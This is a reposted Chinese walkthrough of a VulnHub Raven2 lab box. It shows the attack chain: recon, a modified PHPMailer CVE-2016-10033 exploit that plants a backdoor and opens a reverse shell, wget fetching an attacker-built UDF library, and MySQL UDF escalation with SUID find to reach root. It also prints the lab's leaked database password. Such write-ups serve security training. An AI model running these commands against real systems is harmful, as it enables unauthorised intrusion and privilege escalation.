搜索

[26850] 2019-10-12_【VulnHub】Raven2靶机的渗透测试

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-19
2019-10-12_【VulnHub】Raven2靶机的渗透测试 【 V u l n H u b 】 R a v e n :   2   靶 机 的 渗 透 测 试 原 创   徐 哥   M s 0 8 0 6 7 安 全 实 验 室   2 0 1 9 - 1 0 - 1 2 收 录 于 话 题   # 靶 场 系 列 文 章   , 2 3 个 本 文 作 者 ： 是 大 方 子 是 大 方 子 （ M s 0 8 0 6 7 实 验 室 核 心 成 员 ） 总 结 与 反 思 ： 总 结 与 反 思 ： 1 .   使 用 n e t d i s c o v e r 探 测 内 网 存 活 主 机 2 .   P H P M a i l e r 的 漏 洞 反 弹 得 到 s h e l l 3 .   P y t h o n 版 的 E X P 修 改 4 .   查 看 w o r d p r e s s 的 w p - c o n f i g . p h p 配 置 文 件 得 到 数 据 库 账 号 密 码 5 .   M y S Q L 版 本   < =   5 . 7 . 1 4   5 . 6 . 3 2   5 . 5 . 5 1       可 以 利 用 U D F 提 权 6 .   K A L I 对 E X P 的 编 译 7 .   给 程 序 c h m o d   u + s   增 加 s u i d 权 限 ， 可 以 以 r o o t 权 限 运 行 8 .   利 用 带 有 s u i d 标 志 的 f i n d 命 令 进 行 命 令 执 行 拿 到 r o o t   s h e l l   靶 机 下 载 地 址 ： h t t p s : / / d o w n l o a d . v u l n h u b . c o m / r a v e n / R a v e n 2 . o v a   R a v e n   2 是 一 个 中 等 难 度 的 b o o t 2 r o o t   虚 拟 靶 机 ， 在 多 次 被 攻 破 后 ， R a v e n   S e c u r i t y 采 取 了 额 外 措 施 来 增 强 他 们 的 网 络 服 务 器 安 全 以 防 止 黑 客 入 侵 。 总 共 4 个 f l a g 需 要 找 出 ! 先 将 靶 机 导 入 并 开 机 . 利 用 n e t d i s c o v e r 对 e h 0 网 卡 进 行 探 测 n e t d i s c o v e r   - i   e t h 0
这 里 可 以 通 过 经 验 判 断 1 9 2 . 1 6 8 . 6 1 . 1 3 5 就 是 靶 机 的 I P 地 址 。 n m a p   - A   1 9 2 . 1 6 8 . 6 1 . 1 3 5 通 过 n m a p 的 信 息 可 以 看 出 这 个 就 是 靶 机 的 I P 地 址 通 过 上 面 的 信 息 我 们 可 以 看 到 ， 靶 机 开 放 了 2 2 ， 8 0 ， 1 1 1 这 3 个 端 口 。 我 们 先 看 8 0 端 口
看 到 是 一 个 网 站 ， 所 以 我 们 就 先 进 行 目 录 的 爆 破 ， 这 里 我 用 g o b u s t e r g o b u s t e r   - u   h t t p : / / 1 9 2 . 1 6 8 . 6 1 . 1 3 5   - w   / u s r / s h a r e / w o r d l i s t s / d i r b / c o m m o n . t x t 这 里 先 看 下 v e n d o r 这 个 网 站 是 存 在 目 录 遍 历 的 我 打 开 h t t p : / / 1 9 2 . 1 6 8 . 6 1 . 1 3 5 / v e n d o r / P A T H 发 现 了 第 一 个 F L A G
除 了 F L A G 还 有 网 站 的 目 录 地 址 / v a r / w w w / h t m l / 把 每 个 文 件 翻 下 ， 大 概 知 道 了 服 务 器 上 安 装 这 P H P M a i l e r 我 们 通 过 k a l i 的 s e a r c h s p l o i t 来 查 找 P H P M a i l e r 的 漏 洞 s e a r c h s p l o i t   p h p m a i l e r 但 是 我 们 不 知 道 靶 机 上 的 P H P M a i l e r 的 版 本 是 多 少 ， 但 是 V E R S I O N 提 供 的 应 该 就 是 P H P M a i l e r 的 版 本 号 这 里 我 们 选 用 你 可 以 通 过 s e a r c h s p l o i t   - x   e x p l o i t s / p h p / w e b a p p s / 4 0 9 7 4 . p y 查 看 到 E X P 的 内 容 也 可 以 用 e x p l o i t - d b . c o m 进 行 搜 索 e x p h t t p s : / / w w w . e x p l o i t - d b . c o m / e x p l o i t s / 4 0 9 7 4 通 过 e x p l o i t - d b 的 查 询 我 们 知 道 这 个 漏 洞 的 编 号 为 C V E - 2 0 1 6 - 1 0 0 3 3 然 后 我 们 查 下 漏 洞 资 料 ： h t t p s : / / w w w . a n q u a n k e . c o m / p o s t / i d / 8 5 2 9 5 这 个 漏 洞 是 因 为 邮 件 地 址 能 够 包 含 用 引 号 括 起 来 的 空 格 ， 这 样 可 以 进 行 攻 击 参 数 的 注 入 我 们 我 们 在 网 站 主 页 上 看 到 的 邮 件 页 面 地 址 为 ： h t t p : / / 1 9 2 . 1 6 8 . 6 1 . 1 3 5 / / c o n t a c t . p h p 接 下 来 我 们 把 E X P 的 内 容 进 行 下 载 编 辑 修 改 内 容 如 下 ： 1 .   开 头 加 上 # ! / u s r / b i n / p y t h o n #   - * -   c o d i n g :   u t f - 8   - * -
2 .   修 改 t a r g e t 地 址 为 靶 机 的 C O N T A C T 页 面 地 址 ： h t t p : / / 1 9 2 . 1 6 8 . 6 1 . 1 3 5 / c o n t a c t . p h p 修 改 b a c k d o o r 为 ’ / s d f z . p h p ’ , 默 认 的 b a c k d o o r . p h p 执 行 时 无 法 生 成 （ 原 因 可 能 是 如 介 绍 说 这 个 靶 机 多 次 被 攻 击 增 加 了 安 全 性 ， 这 类 敏 感 字 肯 定 会 被 b a n ） 3 .   修 改 p a y l o a d 的 内 容 4 .   运 行 后 出 现 如 下 错 误 ， 只 要 p i p   i n s t a l l   r e q u e s t s - t o o l b e l t 即 可 5 .   然 后 K A L I   n c 监 听 下 对 应 的 端 口 6 .   然 后 我 们 访 问 下 h t t p : / / 1 9 2 . 1 6 8 . 6 1 . 1 3 5 / c o n t a c t . p h p ， 这 样 就 会 执 行 我 们 的 p a y l o a d 在 目 录 下 面 生 成 s d f z . p h p 7 .   然 后 我 们 在 访 问 下 h t t p : / / 1 9 2 . 1 6 8 . 6 1 . 1 3 5 / s d f z . p h p 8 .   这 个 时 候 我 们 就 会 得 到 反 弹 的 s h e l l
我 们 用 p y t h o n 来 获 取 个 p t y p y t h o n   - c   ' i m p o r t   p t y ; p t y . s p a w n ( " / b i n / b a s h " ) ' 然 后 我 们 搜 索 下 关 键 字 f l a g f i n d   /   - n a m e   " f l a g * " 发 现 2 个 f l a g 那 么 现 在 就 剩 最 后 一 个 F L A G 了 ， 应 该 就 在 r o o t 目 录 里 面 。 所 以 接 下 来 就 是 提 权 我 第 一 反 应 是 用 脏 牛 进 行 提 权 从 h t t p s : / / g i t h u b . c o m / d i r t y c o w / d i r t y c o w . g i t h u b . i o / w i k i / P o C s 下 载 d i r t y . c 在 k a l i 中 进 行 编 译 g c c   - p t h r e a d   d i r t y . c   - o   d i r t y   - l c r y p t 然 后 k a l i 用 p y t h o n   的 S i m p l e H T T P S e r v e r 模 块 开 启 个 H T T P 服 务 然 后 在 靶 机 中 用 w g e t 下 载 编 译 好 的 脏 牛 文 件 进 行 运 行 。 但 是 不 管 我 怎 么 更 名 并 下 载 脏 牛 ， 这 个 w g e t 都 卡 在 这 脏 牛 就 用 不 上 了 我 们 上 传 个 L i n E n u m . s h 对 L I N U X 进 行 信 息 收 集 ， 方 便 提 权 使 用 项 目 地 址 ： h t t p s : / / g i t h u b . c o m / r e b o o t u s e r / L i n E n u m
然 后 加 权 运 行 然 后 在 运 行 结 果 中 看 到 这 条 ， m y s q l 使 用 r o o t 运 行 的 漏 洞 信 息 ： h t t p s : / / l e g a l h a c k e r s . c o m / a d v i s o r i e s / M y S Q L - E x p l o i t - R e m o t e - R o o t - C o d e - E x e c u t i o n - P r i v e s c - C V E - 2 0 1 6 - 6 6 6 2 . h t m l   如 果 M y S Q L 版 本   < =   5 . 7 . 1 4 ， 5 . 6 . 3 2 ， 5 . 5 . 5 1 则 有 M y S Q L - E x p l o i t - R e m o t e - R o o t - C o d e - E x e c u t i o n - P r i v e s c 漏 洞 可 以 进 行 提 权 我 们 回 到 网 站 根 目 录 l s ， 可 以 看 到 有 w o r d p r e s s ( w p ) 我 们 进 去 查 看 下 w p 的 配 置 文 件 数 据 库 账 号 ： r o o t 数 据 库 密 码 ： R @ v 3 n S e c u r i t y   那 么 我 们 登 录 下 m y s q l 查 看 下 m y s q l 版 本
这 里 我 们 看 到 M y s q l 的 版 本 是 存 在 漏 洞 的 我 们 从 h t t p s : / / w w w . e x p l o i t - d b . c o m / e x p l o i t s / 1 5 1 8 获 取 E X P 然 后 我 们 在 K A L I 上 编 译 生 成 s o 文 件 w g e t   h t t p s : / / w w w . e x p l o i t - d b . c o m / d o w n l o a d / 1 5 1 8 m v   1 5 1 8   r a p t o r _ u d f . c g c c   - g   - c   r a p t o r _ u d f . c g c c   - g   - s h a r e d   - o     r a p t o r _ u d f . s o   r a p t o r _ u d f . o   - l c m v   r a p t o r _ u d f . s o   s d f z _ u d f . s o 然 后 同 样 在 靶 机 上 用 w g e t 下 载 s d f z _ u d f . s o c d   / t m p w g e t   h t t p : / / 1 9 2 . 1 6 8 . 6 1 . 1 3 0 : 8 0 0 0 / s d f z _ u d f . s o 然 后 我 们 进 入 数 据 库 开 始 提 权
m y s q l >   u s e   m y s q l ; u s e   m y s q l ; R e a d i n g   t a b l e   i n f o r m a t i o n   f o r   c o m p l e t i o n   o f   t a b l e   a n d   c o l u m n   n a m e s Y o u   c a n   t u r n   o f f   t h i s   f e a t u r e   t o   g e t   a   q u i c k e r   s t a r t u p   w i t h   - A   D a t a b a s e   c h a n g e d m y s q l >   c r e a t e   t a b l e   f o o ( l i n e   b l o b ) ; c r e a t e   t a b l e   f o o ( l i n e   b l o b ) ; Q u e r y   O K ,   0   r o w s   a f f e c t e d   ( 0 . 0 6   s e c )   m y s q l >   i n s e r t   i n t o   f o o   v a l u e s ( l o a d _ f i l e ( ' / t m p / s d f z _ u d f . s o ' ) ) ; i n s e r t   i n t o   f o o   v a l u e s ( l o a d _ f i l e ( ' / t m p / s d f z _ u d f . s o ' ) ) ; Q u e r y   O K ,   1   r o w   a f f e c t e d   ( 0 . 0 0   s e c )   m y s q l >   s e l e c t   *   f r o m   f o o   i n t o   d u m p f i l e   ' / u s r / l i b / m y s q l / p l u g i n / s d f z _ u d f . s o ' ; 【 其 中 d u m p f i l e 的 路 径 要 根 据 前 面 进 程 列 出 来 的 p l u g i n 目 录 进 行 改 动 】 s e l e c t   *   f r o m   f o o   i n t o   d u m p f i l e   ' / u s r / l i b / m y s q l / p l u g i n / s d f z _ u d f . s o ' ; Q u e r y   O K ,   1   r o w   a f f e c t e d   ( 0 . 0 4   s e c )   m y s q l >   c r e a t e   f u n c t i o n   d o _ s y s t e m   r e t u r n s   i n t e g e r   s o n a m e   ' s d f z _ u d f . s o ' ; c r e a t e   f u n c t i o n   d o _ s y s t e m   r e t u r n s   i n t e g e r   s o n a m e   ' s d f z _ u d f . s o ' ; Q u e r y   O K ,   0   r o w s   a f f e c t e d   ( 0 . 0 0   s e c )   m y s q l >   s e l e c t   *   f r o m   m y s q l . f u n c ; s e l e c t   *   f r o m   m y s q l . f u n c ; + - - - - - - - - - - - + - - - - - + - - - - - - - - - - - - - + - - - - - - - - - - + |   n a m e             |   r e t   |   d l                     |   t y p e           | + - - - - - - - - - - - + - - - - - + - - - - - - - - - - - - - + - - - - - - - - - - + |   d o _ s y s t e m   |       2   |   s d f z _ u d f . s o   |   f u n c t i o n   | + - - - - - - - - - - - + - - - - - + - - - - - - - - - - - - - + - - - - - - - - - - + 1   r o w   i n   s e t   ( 0 . 0 0   s e c )   m y s q l >   s e l e c t   d o _ s y s t e m ( ' c h m o d   u + s   / u s r / b i n / f i n d ' ) ; 【 c h m o d   u + s   表 示 给 某 个 程 序 的 所 有 者 以 s u i d 权 限 ， 可 以 像 r o o t 用 户 一 样 操 作 】 s e l e c t   d o _ s y s t e m ( ' c h m o d   u + s   / u s r / b i n / f i n d ' ) ; + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + |   d o _ s y s t e m ( ' c h m o d   u + s   / u s r / b i n / f i n d ' )   | + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + |                                                                         0   | + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + 1   r o w   i n   s e t   ( 0 . 0 0   s e c )   m y s q l >   e x i t e x i t B y e 看 下 我 们 当 前 的 权 限 然 后 用 f i n d 执 行 命 令 提 权 成 功 得 到 f l a g 4
来 源 ： M s 0 8 0 6 7 安 全 实 验 室   m s 0 8 0 6 7 安 全 实 验 室 界 世 的 你 当 作 你 的 肩 膀
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理